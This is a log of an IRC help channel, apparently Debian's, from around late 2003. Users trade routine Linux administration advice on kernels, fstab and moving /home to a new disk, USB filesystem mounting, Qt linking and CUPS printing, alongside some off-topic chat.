| 12:40.08 | MeVeryAngry | DelEat: no need for that, it is in a subdirectory inside truetypefonts... but it take a time to do that by itself... |
| 12:40.13 | cafuego | !show tidy-proxy |
| 12:40.41 | cafuego | !info tidy-proxy |
| 12:40.41 | jsn | I totally owe Debian a donation. |
| 12:40.47 | dpkg | tidy-proxy: (A small http proxy which tidies html), section net, is optional. Version: 0.92-2 (sid), Packaged size: 9 kB, Installed size: 64 kB |
| 12:40.51 | MeVeryAngry | DelEat: i created a .deb but i need a command to include in the postinst script... and i forgot :( |
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| 12:41.57 | Flane | hi, anyone experience with cpufreqd ? what interfaces does it need? |
| 12:42.33 | cafuego | Flane: the kernel cpufreq stuff |
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| 12:42.43 | cafuego | Flane: Tends to hide in /proc somewhere |
| 12:43.49 | Poll | Wyzard: how do i determine the address to use to ftp or ssh to the second machine> |
| 12:44.41 | Flane | cafuego: i've got a centrino... loaded centrino-speedstep and have /proc/cpufreq in kernel... when i want to install cpufreqd theres an error stetting it up... don't know why... |
| 12:45.07 | Flane | cafuego: when i have a kernel without /proc/cpufreq then cpufreqd is installed correctly but didn't find an interface |
| 12:45.21 | Wyzard | How does JFS compare against ext3, reiser, and XFS? |
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| 12:45.24 | Flane | cafuego: so what's going on there? what i'm doing wrong ? |
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| 12:46.21 | Poll_ | Wyzard: how do i determine what address to use to telnet to the second machine? |
| 12:46.56 | Wyzard | Poll_: The easiest way is to log into the second machine using the keyboard and run if config |
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| 12:47.20 | Wyzard | Poll_: btw, SSH is like telnet but with encryption -- telnet is acceptable on a private LAN, but you should get used to using SSH |
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| 12:48.21 | jsn | cafuego: Thanks again, tidy is working perfectly. |
| 12:48.25 | jsn | ciao for now |
| 12:48.34 | skinny | hi, every ./configure command I have this error: configure: error: C++ preprocessor "/lib/cpp" fails sanity check, any ideas? |
| 12:48.36 | jsn | I'll try not to forget the donation |
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| 12:50.06 | kenta | hello anyone know how i get the lilo boot menu up as defult? i read man lilo.conf but i think i must be blind... |
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| 12:52.03 | kenta | at boot time it just skips that menu and boots the first entry in lilo.conf and i hafto hold alt to get it up at boot time i whant that nice red menu upp :) can anyone plz help me :) |
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| 12:53.42 | soleil | how can i validate that my burned cd is identical to the iso? can i md5sum /dev/cdrom? |
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| 12:53.58 | tarzeau | soleil: yes imho |
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| 12:56.25 | djw | bollocks, I have loads of unresolved symbols after doing a depmod -a |
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| 12:59.26 | Wyzard | What's the bash option that causes it to print commands in a script as it executes them? |
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| 12:59.40 | Acid`X | ~test |
| 12:59.45 | | Passed |
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| 13:00.12 | PSchrenk | Hi |
| 13:00.18 | DelEat | how do I see what package foobar is part of? |
| 13:00.38 | Wyzard | dpkg -S foobar |
| 13:00.39 | dpkg | Package: foobar: Status: install ok installed |
| 13:00.46 | Wyzard | hehe |
| 13:00.51 | Wyzard | silly bot |
| 13:01.03 | Sebulba02 | heh |
| 13:01.20 | PSchrenk | I have configured a virtual interface eth0:1, but after rebooting it is gone, how do i save it permanently ? |
| 13:01.34 | Sebulba02 | <PROTECTED> |
| 13:02.09 | PSchrenk | ah, thats the file, Thank You Sebulba ! |
| 13:02.12 | fatal__ | PSchrenk: add it to /etc/network/interfaces |
| 13:02.14 | DelEat | xft-config --version gives me a blank line (!), and I'm having trouble with the package when compiling some other progs... |
| 13:02.30 | PSchrenk | thank you guys |
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| 13:06.23 | DelEat | how do I force a reinstall of a package with apt-get ? |
| 13:06.30 | DelEat | think libxft2-dev might be broken on my sys |
| 13:06.58 | Sebulba02 | remove it and reinstall? |
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| 13:08.15 | codebreaker | in wich package is the variable PATH or wich programm does set PATH on systemboot? on my system is no path set and i can start the most of the programs not |
| 13:08.42 | DelEat | codebreaker: it depends on the shell you use |
| 13:08.54 | DelEat | codebreaker: if you use bash, look in .bash_profile and .bashrc |
| 13:09.07 | DelEat | codebreaker: it's setup during login for the user, and not at startup... |
| 13:09.35 | codebreaker | DelEat: thanks. i go for check ing this |
| 13:10.50 | DelEat | is libxft2-dev broken? |
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| 13:10.58 | Sebulba02 | Dunno. |
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| 13:17.05 | snoke | anyone knows is anywhere xserver 4.3 packages for deb ? |
| 13:17.36 | tarzeau | in expermintal |
| 13:17.41 | tarzeau | experimental |
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| 13:19.15 | DelEat | tarzeau: are you here? |
| 13:19.23 | tarzeau | DelEat: yes i am |
| 13:19.24 | DelEat | :) |
| 13:19.30 | DelEat | tarzeau: you're on unstable, right? |
| 13:19.34 | tarzeau | yes right |
| 13:19.42 | DelEat | tarzeau: what does 'xft-config --version' give you? |
| 13:19.57 | tarzeau | a blank line |
| 13:20.31 | tarzeau | DelEat: it's not an option |
| 13:20.55 | tarzeau | ii libxft-dev 2.1.2-4 FreeType-based font drawing library for X (d |
| 13:21.01 | tarzeau | is that what you wanted to know? |
| 13:21.30 | tarzeau | is there no channel for lilypond users? does anyone in here use it? for turkish volkmusic? |
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| 13:21.51 | DelEat | tarzeau: no... xft-config --version gives a blank line for me... xft-config --help says --version is viable |
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| 13:22.05 | tarzeau | DelEat: true, you are right (i've overseen it) |
| 13:22.06 | DelEat | tarzeau: what's the dpkg suffix to get pkg version |
| 13:22.15 | tarzeau | dpkg -l package |
| 13:22.16 | dpkg | ii package 2.8-1 ultra s3kr1t #debian package |
| 13:22.24 | tarzeau | dpkg: idiot! |
| 13:22.25 | dpkg | I know you are, but what am I?, or someone who tries to use a Mandrake package on Redhat and calls it a rpm issue when dependencies dont resolve |
| 13:22.40 | The_Ball | im using jigdo to download the iso files for woody, how many of the iso's do I need when there is an inet connection available at the machine it is to be installed on? |
| 13:22.41 | DelEat | tarzeau: ahh... was trying -I not -l ;-) |
| 13:22.55 | tarzeau | The_Ball: just get one! |
| 13:22.56 | DelEat | tarzeau: 2.1.2-5 here... |
| 13:23.10 | tarzeau | DelEat: that means i'm more lazy than you :) |
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| 13:23.18 | mark | hi all. how can I check a password against a md5 hash of that same password? (in whatever language, generally if possible). when i use crypt() on my box i dont seem to get the md5 pwds |
| 13:23.28 | tarzeau | mark: using mkpasswd |
| 13:23.37 | tarzeau | mark: use the same salt! |
| 13:23.40 | DelEat | tarzeau: trying to compile kahakai, but it runs into problems with the xft pkg... and something seems fishy with the whole pkg... |
| 13:23.51 | ruffneck | how can I install a new kernel on my deb 3.0 system, when apt cant find newer kernels than 2.4.18-1 ? |
| 13:24.05 | tarzeau | ruffneck: are you on stable? |
| 13:24.11 | tarzeau | ruffneck: to to upgrade to testing |
| 13:24.13 | DelEat | tarzeau: i tried apt-get remove && apt-get install, and libxft2-dev wasn't reinstalled, libxft-dev was installed instead... |
| 13:24.16 | ruffneck | tarzeau yes I am on stable |
| 13:24.20 | codebreaker | ruffneck: use apt-setup and chose security-updates |
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| 13:24.27 | RoNiS | hi |
| 13:24.35 | The_Ball | tarzeau, thaks, and by the way, woody is the latest for production? |
| 13:24.41 | tarzeau | DelEat: i really don't know, did you check the BTS yet? |
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| 13:24.45 | whoozy | hi ppl.. i had a hda which was to small before so now i got hands on two more harddrives.. i now have hda hdc and hdd.. so, i wanted to put /var on hdc and /home on hdd.. is that possible? |
| 13:24.48 | DelEat | tarzeau: nope |
| 13:24.55 | tarzeau | The_Ball: uh, my policy says i can use sid for production :) |
| 13:25.00 | RoNiS | I have a CMedia 8738 on board sound card, and i want to configure the mic, does anyone know how i can do this? |
| 13:25.03 | DelEat | tarzeau: should of course be the first thing ;-) |
| 13:25.04 | mark | tarzeau, ok, i'll try |
| 13:25.04 | codebreaker | whoozy: yes |
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| 13:25.21 | whoozy | codebreaker in a non guru way? :) |
| 13:25.22 | tarzeau | whoozy: of course! |
| 13:25.29 | The_Ball | tarzeau, is sid testing? |
| 13:25.31 | tarzeau | whoozy: do you know /etc/fstab ? |
| 13:25.37 | tarzeau | The_Ball: no sid is unstable |
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| 13:25.46 | codebreaker | whoozy: yes, format the two hardiskes and mount them |
| 13:25.47 | tarzeau | The_Ball: ok it's just called unstable :) |
| 13:25.47 | The_Ball | tarzeau, oh ;) |
| 13:25.56 | tarzeau | *ducks* |
| 13:25.58 | ruffneck | codebreaker hmm ... will I then be able to install for example the 2.6.0 kernel? |
| 13:25.59 | whoozy | tarzeau yes i know of it.. im not that familiar with the whole syntax tho. |
| 13:26.06 | tarzeau | whoozy: man 5 fstab |
| 13:26.09 | whoozy | codebreaker i am formating the hdd as we speak.. |
| 13:26.50 | whoozy | tarzeau but, i fstab.. can i only type the hdd as /home and it will now itself? and cp all to hdd of course? |
| 13:27.06 | codebreaker | whoozy: like mount -t ext3 /dev/hdc2 /newvar and then copy the old var to newvar. then edit the /etc/fstab and remount /dev/hdc2 |
| 13:27.08 | tarzeau | whoozy: no it won't copy stuff around |
| 13:27.23 | tarzeau | whoozy: the new harddisks did you write partitionts onto them already? |
| 13:27.29 | tarzeau | whoozy: cfdisk /dev/hdc and hdd |
| 13:27.44 | tarzeau | whoozy: then mkfs.ext2 (or whatever filesystem you use) on them (don't forget the numbers) |
| 13:27.48 | codebreaker | ruffneck: no. if you wish to run stable then the higest available kernel is 2.4.18 |
| 13:27.49 | whoozy | tarzeau only primary on both.. |
| 13:27.52 | tarzeau | whoozy: after that you can mount them, copy stuff on it |
| 13:27.53 | bob2 | tarzeau: your policy is broken :-) |
| 13:28.01 | tarzeau | bob2: heh :) |
| 13:28.30 | bob2 | azreal: come on, turn that off. |
| 13:30.08 | ruffneck | codebreaker ok. and how can I switch to unstable then? I am asking because I have a new ide controller card that doesnt seem to run at all (promise ultra133 tx2 ). and I googled throughout the net at it seems like a higher kernel version is needed... |
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| 13:30.50 | bob2 | ruffneck: don't go to sid for a new kernel. |
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| 13:31.16 | DeLeTe | hi |
| 13:31.23 | azreal | bob2: sorry |
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| 13:31.27 | DeLeTe | how can i mount usbprocfs ? |
| 13:31.37 | azreal | bob2: ive tried turning it off, it wont work :P |
| 13:31.41 | ruffneck | bob2 yea I'd like to leave it the way it is, but I have absolutly no clue how to get this controller working |
| 13:32.07 | DelEat | DeLeTe: HEY! don't plagerize my name! |
| 13:32.26 | bob2 | azreal: get a non-crap IRC client then. irssi-text is unbeaten, afaict. |
| 13:32.28 | DeLeTe | DelEat, it has always been mine ;) |
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| 13:32.37 | ToreSB | I'm depressed... |
| 13:32.39 | ToreSB | Need coffee. |
| 13:32.44 | DelEat | ToreSB: haha |
| 13:32.49 | bob2 | thanks for the updated... |
| 13:32.50 | azreal | bob2: dont like it |
| 13:33.09 | DeLeTe | nobody have an idea for usbprocfs ? |
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| 13:33.42 | bob2 | DeLeTe: mount it on /proc/usb |
| 13:33.47 | whoozy | tarzeau, can i paste some lines to you? |
| 13:33.54 | bob2 | azreal: well, whatever, but public away is not permitted in here. |
| 13:34.02 | tarzeau | whoozy: if it's not more than 4 , paste it here |
| 13:34.04 | bob2 | ruffneck: how new do you need? |
| 13:34.16 | whoozy | i think its four.. :) |
| 13:34.19 | whoozy | 14:31:05 root@ODEN:~# mount -t ext2 /dev/hdc /mnt/ |
| 13:34.19 | whoozy | 14:31:26 root@ODEN:~# cp -a /home /mnt/ |
| 13:34.19 | whoozy | 14:31:36 root@ODEN:~# umount /mnt |
| 13:34.19 | whoozy | 14:31:46 root@ODEN:~# mount -t ext2 /dev/hdc /home |
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| 13:34.35 | whoozy | tarzeau is that correct ? |
| 13:34.37 | tarzeau | whoozy: no |
| 13:34.38 | DeLeTe | bob2, yes but how can i do with mount --> mount -t usbprocfs /proc/usb ? |
| 13:34.54 | tarzeau | whoozy: if you mkfs.ext2 /dev/hdc you don't have partitions |
| 13:34.58 | tarzeau | whoozy: sure it works, but it's wrong! |
| 13:35.05 | ruffneck | bob2: well that new, that it recognizes my ideconroller and works fine with it. |
| 13:35.07 | bob2 | DeLeTe: "cat /proc/filesystems" and get the exact filesystem name. |
| 13:35.09 | whoozy | tarzeau oh.. |
| 13:35.11 | tarzeau | do mkfs.ext2 /dev/hdc1 instead |
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| 13:35.17 | whoozy | ok |
| 13:35.18 | tarzeau | then also mount hdc1! |
| 13:35.25 | bob2 | you've nuked the partition table by now. |
| 13:35.27 | tarzeau | about the copy i'm not sure if it'll get everything |
| 13:35.32 | tarzeau | etiher use mc (midnight commander) or tar |
| 13:35.36 | bob2 | ruffneck: do you know when support was added? |
| 13:35.39 | whoozy | ok |
| 13:35.44 | DelEat | tarzeau: it worked now... STRANGE |
| 13:35.48 | DeLeTe | bob2, usbfs ? |
| 13:36.00 | tarzeau | DelEat: holy cow! |
| 13:36.18 | DelEat | tarzeau: I know... I'm mystified |
| 13:36.18 | ruffneck | bob2: unfortunatly I have no clue. and I dont know where to search for information of this kind. |
| 13:36.19 | bob2 | DeLeTe: no idea, you have the value in front of you. |
| 13:37.28 | bob2 | ruffneck: do you know how to build your own kernel? |
| 13:37.43 | ruffneck | bob2: negative. |
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| 13:38.04 | DeLeTe | bob2, ok but i have : "nodev usbdevfs" , and /proc/usb doesn't exists , what is the mount command ? |
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| 13:38.25 | bob2 | do you actually need to mount it anymore? |
| 13:38.38 | krnlkrtz | can message-id in smtp headers have a $ in them? |
| 13:38.41 | aZ[a]ZeL | bob2: yes.. i couldn't use my digital camera until it was |
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| 13:38.52 | DeLeTe | bob2, i need it for using usbview |
| 13:39.08 | aZ[a]ZeL | mount -t usbdevfs -o devmode=0664,devgid=43 none /proc/bus/usb |
| 13:39.13 | bob2 | DeLeTe: then google for "usbfs mount /proc" |
| 13:39.15 | DelEat | bob2: yes, unless hotplugging is installed, which autodetects it |
| 13:39.17 | eddnnee | i can get iso8859-1 (latin1 ??) keyboard support in gnome, but not in a cli. can anyone give me some pointers? |
| 13:39.23 | bob2 | so install hotplug. |
| 13:39.23 | DeLeTe | aZ[a]ZeL, thx |
| 13:39.57 | aZ[a]ZeL | even with hotplug installed, some programs, like gphoto2, rely on /proc/bus/usb for info about usb devices |
| 13:39.59 | wufei | eddnnee; /etc/inputrc |
| 13:40.26 | bob2 | !find vmlinuz-2.4.23 |
| 13:40.36 | dpkg | Debian Package/File/Desc Search of 'vmlinuz-2.4.23' returned no results. |
| 13:40.48 | eddnnee | wufei: thx, will look into it |
| 13:41.29 | krnlkrtz | i am having some mail that is not being tagged by spamassassin even though spamd logs the connection. The only thing I can tell about these messages is that they have a one or more $ signs in the message-id. is a $ in the message id a problem for postfix or procmail? |
| 13:41.29 | ruffneck | bob2: can you help me out then? |
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| 13:42.00 | Bangers | anyone know of a simple PXE Boot Menu system? |
| 13:42.01 | Bangers | PXELINUX doesnt have menu abilities... |
| 13:42.01 | Bangers | basically, I want a min-grub over PXE... |
| 13:42.17 | whoozy | tarzeau, ok so now i mkfs.ext2 hdc1 mounted it in /mnt, MC'd the /home there.. umounted the /mnt then mounted the /dev/hdc1 /home .. i guess it worked. i made one extra directory in the /mnt before, and that shows in the new /home |
| 13:42.26 | trasher_ | I can't link qt programs although I have all the dev packages installed, anyone that can help me? |
| 13:42.38 | oskie | trasher_: what error are you getting? |
| 13:42.42 | tarzeau | whoozy: mister mount! |
| 13:42.53 | whoozy | :) yeah.. tanx for the help |
| 13:42.53 | bob2 | trasher_: you didn't RTFM. |
| 13:42.54 | trasher_ | oskie: /usr/bin/ld: could not find -lqt3 |
| 13:42.54 | trasher_ | collect2: ld returned 1 exit status |
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| 13:43.09 | bob2 | trasher_: install libqt3-mt-dev and then read it's README.Debian |
| 13:43.13 | Zap-W | is 2.6.0 server stable ? |
| 13:43.16 | bob2 | no |
| 13:43.19 | tarzeau | Zap-W: hahaha |
| 13:43.21 | bob2 | ruffneck: trying to find it. |
| 13:43.22 | Zap-W | :) |
| 13:43.39 | ruffneck | bob2: great...! |
| 13:43.40 | bob2 | krnlkrtz: is it set to tag *all* mail, not just spam? |
| 13:43.48 | Zap-W | is 2.6.0 stable for a life CRitical System!! |
| 13:43.51 | bob2 | Zap-W: some people still consider 2.4 too danegrous for servers. |
| 13:43.51 | ToreSB | Zap-W: If the server is a playing-around server... yes. If not... No. |
| 13:43.54 | Zap-W | :9 |
| 13:44.01 | Nurbs | I'm not sure if 2.6.0 is anymore unstable than 2.4 at its best times :> |
| 13:44.03 | oskie | trasher_: hmm... well, this is how you debug these kinds of errors: look in /usr/lib. do you have any file libqt3*.so there? |
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| 13:44.53 | ToreSB | Well, I've NEVER seen 2.6 to crash - and it's actually stable on my fukd laptop... Which is QUITE an achievement. |
| 13:44.55 | trasher_ | oskie: I no libqt3* but I do have libqt-mt.so... |
| 13:44.55 | krnlkrtz | bob2: it normally works fine. However there are a few messages that are slipping through untagged at all no spam-status one way or the other. |
| 13:45.06 | oskie | trasher_: if not, then 'dpkg -L libqt<name of devpkg> | grep -i libqt3'. do the .so files reside in some non-standard directory? maybe there's a qt-config program you are supposed to use to get the right directories? |
| 13:45.19 | oskie | trasher_: or maybe you don't have the right qt dev package installed...? |
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| 13:45.28 | bob2 | oskie: he has to read it's README.Debian or it won't work. |
| 13:45.34 | bob2 | trasher_: install libqt3-mt-dev and then read it's README.Debian |
| 13:45.45 | mrblant | hi |
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| 13:46.01 | bob2 | krnlkrtz: maybe the #spamassassin peopel know? |
| 13:46.14 | trasher_ | bob2: where is the README.debian located? |
| 13:46.42 | bob2 | trasher_: same palce every other pacjage in Debian drop it's docs: /usr/share/doc/<pacjagename> |
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| 13:46.51 | krnlkrtz | bob2: they are silent |
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| 13:47.11 | Zap-W | any 2.6.0 kernel-source debs released for unstable yet? |
| 13:47.15 | bob2 | krnlkrtz: then ask on their list, and be prepared to post unmunged emails with full headers. |
| 13:47.25 | bob2 | Zap-W: you can check as easily as anyone else can: /msg dpkg search |
| 13:47.38 | ToreSB | Zap-W: Why the hell would you want that? Kernel.org? |
| 13:47.56 | Zap-W | bob2 : i didnt know if the bot database is up to date |
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| 13:48.19 | bob2 | Zap-W: it's up-to-date. |
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| 13:48.36 | ^^xyber | dkjfsk |
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| 13:48.40 | Zap-W | s/search/find |
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| 13:49.31 | devote | anyone know where the eclipse debian packages have gone? they used to be at this location : http://people.debian.org/~tora |
| 13:49.49 | ruffneck | . |
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| 13:50.01 | trasher | bob2, oskie: thanks for you help! |
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| 13:50.12 | oven | devote - eclipse is in debian/unstable |
| 13:50.12 | Zap-W | so i think i shocked my cpu chip today.. |
| 13:50.17 | bob2 | devote: people.debian.org was comrpmoised. |
| 13:50.38 | bob2 | devote: all data was moved out of the developers ~/public_html/ dirs until it could be checked over. |
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| 13:51.09 | devote | ok thanks |
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| 13:51.58 | eddnnee | wufei: seems the problem was not with the inputrc file, rather the shell-app "terminal". "konsole" works just fine with latin1. strange.. or not? |
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| 13:52.32 | ircdevil | does xscreensaver run at lowest priority? is it save to leave on when some other job is running - i do not want xscreensaver to eat up the cputime |
| 13:52.33 | bob2 | ruffneck: http://master.debian.org/~herbert/sid/ |
| 13:52.37 | bob2 | ruffneck: THEY MIGHT WORK. |
| 13:52.43 | ircdevil | save=safe |
| 13:52.47 | bob2 | ircdevil: oops. |
| 13:52.58 | bob2 | ircdevil: choose a non-cpu-intensive saver. |
| 13:53.07 | bob2 | ircdevil: and manually nice it to 20. |
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| 13:53.20 | whoozy | mm.. i think this might just work! |
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| 13:53.34 | ircdevil | bob2 hmmm but does xscreensaver run at nice 20 ? |
| 13:53.46 | ^^xyber | þimdi ne oalcak |
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| 13:53.56 | bob2 | ircdevil: run top and see. |
| 13:54.09 | ruffneck | bob2: ok wow thank you. but uhm ... how do I have to proceed? like what do I gotta do to set them up? |
| 13:54.12 | ircdevil | bob2 bloody hard, since xscreensaver blocks the view of top |
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| 13:54.25 | whoozy | tarzeau, still there? |
| 13:54.29 | bob2 | ircdevil: it runs in the background regardless of if it's displaying anything. |
| 13:54.31 | initech | ircdevil: you can run them in a window |
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| 13:54.34 | bob2 | ircdevil: also, you could run top on a VT. |
| 13:55.01 | ircdevil | but if i touch keyboard or mouse, then xscreensaver with stop |
| 13:55.05 | bob2 | ruffneck: ignore that. add this line to /etc/apt/sources.list: deb http://www.backports.org/debian woody kernel-image-2.4.23-i386 |
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| 13:55.16 | vincenz0^ | hi |
| 13:55.18 | bob2 | ruffneck: then run "apt-get update" |
| 13:55.22 | ircdevil | hen/egg |
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| 13:57.44 | ruffneck | bob2: alright and then I will get the *.23 kernel. and is this an official kernel or what kinda kernel is it? |
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| 13:59.43 | chemicallyrelian | is there a *nice* way of mirroring the .debs? say when someone is behind a dial-up, has gotten the deb cd's from a friend and wants to have the tree updates stored centrall so they can add their own http source entry? |
| 13:59.53 | jfil | hi, i'm looking for a scientific calc to operate with binary, octal, hexa... on linux, not "calcoo" or "xcalc" |
| 14:00.09 | bob2 | ruffneck: once you've done that, we'll see about installing it. it's by some debian people, but it's not an official part of Debian. |
| 14:00.15 | bob2 | chemicallyrelian: apt-proxy. |
| 14:00.47 | bob2 | jfil: how scientific? octave is like matlab, and calc in emacs is quite sophiosticated too. |
| 14:01.09 | hippo | jfil: bc? |
| 14:01.25 | jfil | thx bob2, i know octave. calc in emacs? mmm i dont know that app |
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| 14:01.39 | bob2 | !+info calc |
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| 14:01.43 | dpkg | calc: (An advanced calculator and mathematical tool for Emacs.), section math, is optional. Version: 2.02f-20 (sid), Packaged size: 1389 kB, Installed size: 5220 kB |
| 14:02.00 | bob2 | jfil: install it and hit M-x calc in emacs. |
| 14:02.30 | jfil | thank u bob2 ;) |
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| 14:02.46 | oven | have anyone here noticed an increase of available physical memory after installing linux-2.6? |
| 14:03.04 | ruffneck | bob2: ok. will you be here tomorrow? |
| 14:03.07 | chemicallyrelian | oven, did you compile in shared memory ? |
| 14:03.07 | oven | I wonder if the new kernel uses my graphics card memory as main memory. |
| 14:03.21 | bob2 | ruffneck: your tommorow is probably different to mine. |
| 14:03.22 | bob2 | oven: no. |
| 14:03.25 | chemicallyrelian | oven, it shouldn't use your graphics memory as main memory |
| 14:03.33 | oven | chemicallyrelian - I don't know. |
| 14:03.36 | bob2 | s/shouldn't/couldn't/ |
| 14:03.39 | krnlkrtz | oven: did you turn on highmem for the first time? |
| 14:03.44 | bob2 | unless it did some horrible bouncebuffer hack. |
| 14:03.46 | krnlkrtz | oven: do you have >1024 |
| 14:03.51 | chemicallyrelian | oven, maybe you were using local memory to hold textures? |
| 14:03.52 | oven | krnlkrtz - no, far from it :) |
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| 14:04.10 | ruffneck | bob2: well add 24 hours to now ;) |
| 14:04.20 | bob2 | ruffneck: maybe |
| 14:04.49 | ruffneck | bob2: alright.. I'll be looking out for ya... thanks so far! |
| 14:05.03 | chemicallyrelian | you can get some really borked systems like that. the debian installer asked how much memory i wanted to use, in relation to the graphics. in redhat, you type in how much memory is on the CARD. deb's installer wanted to know how much to use on the SYSTEM. |
| 14:05.18 | oven | chemicallyrelian - it is possible to use graphics memory as a block device with Memory Technology Devices support enabled. It is then possible to make a swap file on that block device, which again is used for primary memory. However, I don't think this is what happened here :) |
| 14:05.18 | bob2 | ruffneck: no problem...the next step is just installign the kernel-image-2.4.23-<cpu> package and following the instructions. |
| 14:05.27 | bob2 | chemicallyrelian: no |
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| 14:05.43 | ruffneck | bob2: roger that! |
| 14:05.43 | ToreSB | You can use VGA memory as SWAP? |
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| 14:05.49 | oven | ToreSB - yes |
| 14:05.51 | ToreSB | That would be REALLY cool |
| 14:06.06 | bob2 | ToreSB: some crap cards just slurp your physical ram for frambuffering. |
| 14:06.09 | krnlkrtz | oven: how can you use vga mem as swap |
| 14:06.09 | ToreSB | That would be the coolest effect ever :) |
| 14:06.13 | bob2 | it's slow AND stupid. |
| 14:06.14 | oven | ToreSB - there was an article on this subject on /. a while ago |
| 14:06.19 | ToreSB | bob2: I know - I have it :( |
| 14:06.21 | bob2 | you could page in and out to your video ram. |
| 14:06.43 | bob2 | but people who have useful amounts of video ram tend to have entirely too much actual ram, anyway |
| 14:06.58 | ToreSB | bob2: Ever heard of the SuperPaint? |
| 14:07.09 | oven | bob2 - i am wondering if this computer has shared video/primary memory |
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| 14:07.22 | bob2 | ToreSB: no |
| 14:07.34 | ToreSB | bob2: It was the first FB ever |
| 14:07.38 | smj | Sup folks? |
| 14:07.44 | ToreSB | bob2: I might be restoring that after the PDP-7 :> |
| 14:07.44 | smj | Anyone here use CUPS? |
| 14:07.47 | oven | bob2 - I have a compaq presario 700 (a laptop) with an s3 graphics card. It is not very fast. |
| 14:07.51 | bob2 | haha |
| 14:07.59 | bob2 | smj: are you taking a survey or lookign for help? |
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| 14:08.06 | smj | bob2: Good point. |
| 14:08.07 | bob2 | oven: ah |
| 14:08.21 | ToreSB | bob2: Actually, it was more like helping the guy who did it at PARC, but oh well :) |
| 14:08.23 | oven | bob2 - I am wondering if it actually has 96 MB of primary memory, of which 32 MB is normally used for the graphics card. |
| 14:08.26 | bob2 | smj: if you're lookign for help, it'd be quicer to just ask. |
| 14:08.33 | chemicallyrelian | amount of ram needed on graphics card = prerenderframeamount * (bit depth + alpha) * pixels high * pixels wide |
| 14:08.36 | bob2 | bah, my typing is hrorendous. |
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| 14:08.53 | initech | smj: yes |
| 14:08.55 | esra | kskdfj |
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| 14:09.05 | gothtec | ~tell Stickman about knoppix |
| 14:09.06 | smj | I've got this problem with my Epson Stylus 880. It will print the first few lines of a test page, but then the printer just gives up it seems. The "activity light" flashes, but nothing happens. Any suggestions? |
| 14:09.08 | oven | bob2 - Now, however, it seems as if there is 92 MB primary memory available, and thus the graphics card can only have 4 MB, which is fine by me. |
| 14:09.17 | oven | I could be entirely mistaken, of course |
| 14:09.23 | xyber | jkdjgk |
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| 14:09.28 | ToreSB | bob2: http://www.rgshoup.com/prof/SuperPaint/tns/tn_itworks3_jpg.jpg |
| 14:09.34 | bob2 | oven: isn't that usually a bios thing? |
| 14:09.44 | ToreSB | http://www.rgshoup.com/prof/SuperPaint/images/itworks3.jpg correction |
| 14:10.01 | bob2 | that's one creepy-lookign guy. |
| 14:10.04 | Stickman | how can i convert tar.bz2 to tar.gz ? |
| 14:10.09 | chemicallyrelian | anyone here have/know of a 32bit system with 4Gbytes ram on it? |
| 14:10.13 | initech | smj: what drivers are you using? and what ppd? |
| 14:10.24 | streuner | Stickman: heh? |
| 14:10.30 | bob2 | chemicallyrelian: you use apt-proxy to share debs between multiple systems easily. |
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| 14:10.38 | bob2 | chemicallyrelian: swap on a 4gb machine is usually silly. |
| 14:10.49 | bob2 | chemicallyrelian: you can use 32-bti systems with 4gb of ram, but it's a horrible hack. |
| 14:10.51 | smj | initech: I'm using the GIMP print drivers for the Epson Stylus 880. As far as a ppd. I'm not sure how to tell that really. |
| 14:10.52 | streuner | Stickman: gunzip file, bzip file |
| 14:11.03 | Stickman | streuner: thanks |
| 14:11.07 | chemicallyrelian | just checking. |
| 14:11.17 | initech | smj: the ppd will say some thing like "Gimp Print" in it's description |
| 14:11.23 | randey | Stickman : bzcat <urfile.bz2> | gzip |
| 14:11.23 | streuner | Stickman: bunzip2 file, gzip file sorry |
| 14:11.27 | bob2 | chemicallyrelian: to use mroe than 896MB of RAM at all on x86, you need a HIMEM kernel. |
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| 14:11.41 | bob2 | chemicallyrelian: but once you enable himem, you take a speed hit for every memory access. |
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| 14:11.59 | bob2 | er, probably every context switch, actualy |
| 14:12.07 | chemicallyrelian | oh. my brother has a machine with 2Gbye ram. and no highmem kernel, as far as i know. |
| 14:12.17 | xyber | ksdjkls |
| 14:12.26 | xyber | halil bey oaradamýsýn |
| 14:12.26 | chemicallyrelian | i'm not aallowed to get into where he works to check this however. |
| 14:12.34 | bob2 | chemicallyrelian: is it a 32-bit intel system? |
| 14:12.42 | bob2 | xyber: do you have anything useful to say? |
| 14:12.45 | bob2 | !+turkish |
| 14:12.46 | dpkg | extra, extra, read all about it, turkish is #turklug, or #debian.tr, or trke yardm iin #debian.tr |
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| 14:13.06 | smj | initech: I think I may have found something. brb |
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| 14:13.24 | gothtec | bob2: I'm impressed. How the fsck do you recognize all those different languages? |
| 14:13.35 | toothpick | There was a program I once ran which pinged...debian mirrors and helped configure the sources.list |
| 14:13.52 | toothpick | I only want sid sources...can I can some faq...googling is overwhelming right now. |
| 14:14.10 | chemicallyrelian | bob2 it is a p4. |
| 14:14.18 | initech | toothpick: apt-spy does that |
| 14:14.19 | bob2 | gothtec: hah, I remembered after I said that that his hostname was .tr |
| 14:14.32 | ircdevil | paradox: i am too hungry to get food ... |
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| 14:14.36 | Kraig | toothpick: deb http://http.us.debian.org/debian/ unstable main non-free contrib |
| 14:14.37 | Kraig | deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib non-free |
| 14:14.58 | smj | initech: Thanks for the help. I'm trying out another config. |
| 14:15.16 | chemicallyrelian | who here is using xchat? |
| 14:15.22 | DeLeTe | me |
| 14:15.27 | oven | bob2 - yes, it is possible to adjust this in the bios |
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| 14:15.35 | Kraig | chemicallyrelian me! |
| 14:15.38 | chemicallyrelian | i want ot know hte difference between slash MSG and whispering ? |
| 14:15.39 | initech | smj:just make sure your driver and your ppd match |
| 14:16.00 | initech | smj: i.e., that you have the driver installed that the ppd references |
| 14:16.24 | bob2 | she/he is gone |
| 14:16.42 | lorax | bob2 : you know a way to write to a ntfs partition? |
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| 14:16.52 | bob2 | lorax: "windows nt" |
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| 14:17.17 | oven | chemicallyrelian - perhaps whispering is the same as 'notice' |
| 14:17.19 | ircdevil | hmmm 4 soldiers killed in iraq = cnn front page. 20000 killed in iran earthquake = not to worry. someone oughta be ashamed ... |
| 14:17.22 | bob2 | bleh, nvidia in the topic |
| 14:17.23 | bob2 | ick |
| 14:17.39 | bob2 | ircdevil: an average of ten US soldiers have diede each day in Iraq since May |
| 14:17.53 | bob2 | ircdevil: even US deaths don't make it to the frontpage anymore. |
| 14:17.58 | ircdevil | bob2 and how many years will that be to get to 20000 ? |
| 14:18.14 | bob2 | ircdevil: lots. |
| 14:18.30 | initech | ircdevil: that's the way the US media is |
| 14:18.32 | bob2 | ircdevil: how many people do you think die each day due to malaria or malnutrition or land mines or...? |
